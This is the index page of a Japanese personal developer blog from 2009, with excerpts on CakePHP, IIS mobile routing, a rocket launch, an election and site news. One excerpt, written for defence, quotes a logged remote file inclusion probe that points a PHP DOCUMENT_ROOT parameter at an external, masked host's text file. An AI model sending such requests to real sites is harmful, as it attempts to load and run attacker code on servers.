広告

広告 Y!

グーバーウォーク


 2010年9月 8日(水) 04:54 JST

CakePHP + DebugKit でApache子プロセスダウン

  • 2009年9月18日(金) 18:32 JST
  • 投稿者:
    kaba
CakePHP

めっきりアーキテクト兼SE兼PGの かばだんなさんです。

CakePHPで開発していて、最近開発効率を上げようとDebugKitを使っているのですが、ある画面を表示するとApache子プロセスがダウン・・・ Orz

原因はともかく対処方法だけは分かったので、メモします。

CakePHPのプラグインで画像ファイルを使う

  • 2009年9月12日(土) 19:58 JST
  • 投稿者:
    kaba
CakePHP

CakePHP1.2.3でプラグインを作っているのですが、自作プラグインの画像をどうやって呼び出したらいいのかずっと分かりませんでしたが、ようやく分かったのでメモしておきます。

H2B打ち上げ成功

  • 2009年9月11日(金) 09:22 JST
  • 投稿者:
    kaba
雑感

昨夜、H2Bロケットの打ち上げに成功しましたね。

インターネットで生中継をしていたので、私もリアルタイムで見てしまいました。いや~、宇宙に興味のない私が、色気もなんもないJAXA職員の淡々とした進行でもドキドキしながら発射の瞬間を待ってたぐらいですから、好きな人には堪らんイベントでしょうね~。

敗軍の将、兵を語らず・・・・って古い?

  • 2009年8月31日(月) 14:41 JST
  • 投稿者:
    kaba
雑感

選挙、大きく動きましたね。

誰かが今回の動きを「シンドローム」と表現していましたが、まぁそんな気がしないでもありません。

日本人の基本行動パターンだと思っていた「土壇場の揺り戻し」も有りませんでしたしね。

何か今回は私の中での「日本人観」が大きく揺らいだ気がします。

メールが送れなくなってました・・・

  • 2009年8月23日(日) 00:14 JST
  • 投稿者:
    kaba
シャル・システムサービス

時々ですがこのブログを見てメールを下さる方がいます。本当にありがたい事です。

そういえば最近メール来ないな~更新してないからな~と思っていたら、このサイトから私宛にメールが送れなくなっていました Orz

という事で告知です。

ここ2週間ぐらいの間に かばだんなさんにメールを下さった方、申し訳ありませんがメールが送信されていません。お手数ですが再送頂けましたらシッポ振って喜びます!

I 社長の事

  • 2009年7月22日(水) 16:20 JST
  • 投稿者:
    kaba
シャル・システムサービス

 

先ほどFAXが来て、ある会社の I 社長が亡くなったとの知らせを受けました。

IISで携帯の振り分け

  • 2009年7月17日(金) 00:42 JST
  • 投稿者:
    kaba
技術系_一般

 

もう随分前ですが、IISで作ったサイトでPCと携帯を振り分けしようとして失敗した話はここに書きました。

あれから3カ月、寝る間も惜しんで原因を追求し続け(もちろんウソ)、このたび ようやく解決しました。

一抹の徒労感を添えてここに方法をさらします。

ブログへの怪しげなアクセスをはじく

  • 2009年7月14日(火) 22:55 JST
  • 投稿者:
    kaba

最近・・・でもないのですが、このブログのアクセス数の上昇に比例して、「怪しげなリクエスト」が増えています。例えばログを見るとこんなアクセスが来ています。

http://このサイト/xxxx.php?_SERVER[DOCUMENT_ROOT]=http://www.●●●●●.com/ua/pid.txt???

気持ち悪いですね~(苦笑。試しに●●●●●の部分を私の持ってる別サーバにして何かパケットが飛んでるか調べたのですが、何も飛んでません。でも怖いですよね。

今は問題ないのかもしれませんが、心配なのはGeeklogがバージョンアップしたタイミングです。こればかりは「絶対」という事はあり得ませんからね。という事で今回は、あからさまに怪しいリクエストはGeeklogに届く前に弾いてしまおう!という作業です。

内部的リクエストを発行してレスポンスHTMLを受け取る(CakePHP)

  • 2009年7月 3日(金) 16:22 JST
  • 投稿者:
    kaba
CakePHP

CakePHPの「コントローラの便利なメソッド」として「requestAction」というのが紹介されています。これは『内部的に別のコントローラにリクエストを発行して、レスポンスHTMLを受け取る』という機構です。複数のコントローラのレスポンスを1画面で表示させたい時なんかに便利です。例えば・・・下記のようなイメージでしょうか。

レンダリングまで個々のコントローラでやってくれます。まぁレスポンスが悪くなるだろうから限定的にしか使えませんが、ここぞという時には便利な機構です。

ケアレスミス

  • 2009年6月23日(火) 19:09 JST
  • 投稿者:
    kaba
技術系_一般

この業界でメシを食うようになって15年、久しぶりに「タイプミス」をしました。「$answer」を「$amswer」ですって(笑。

新人の頃の先輩のご指導のおかげでこのテのミスあんまりしない かばだんなさん、しばらくどこが違うのか見つけられず、すごく深い理由を探ってウンウン唸ってました。そりゃ動かんわ(笑。

いや~、初心忘れるべからず(苦笑。


_

広告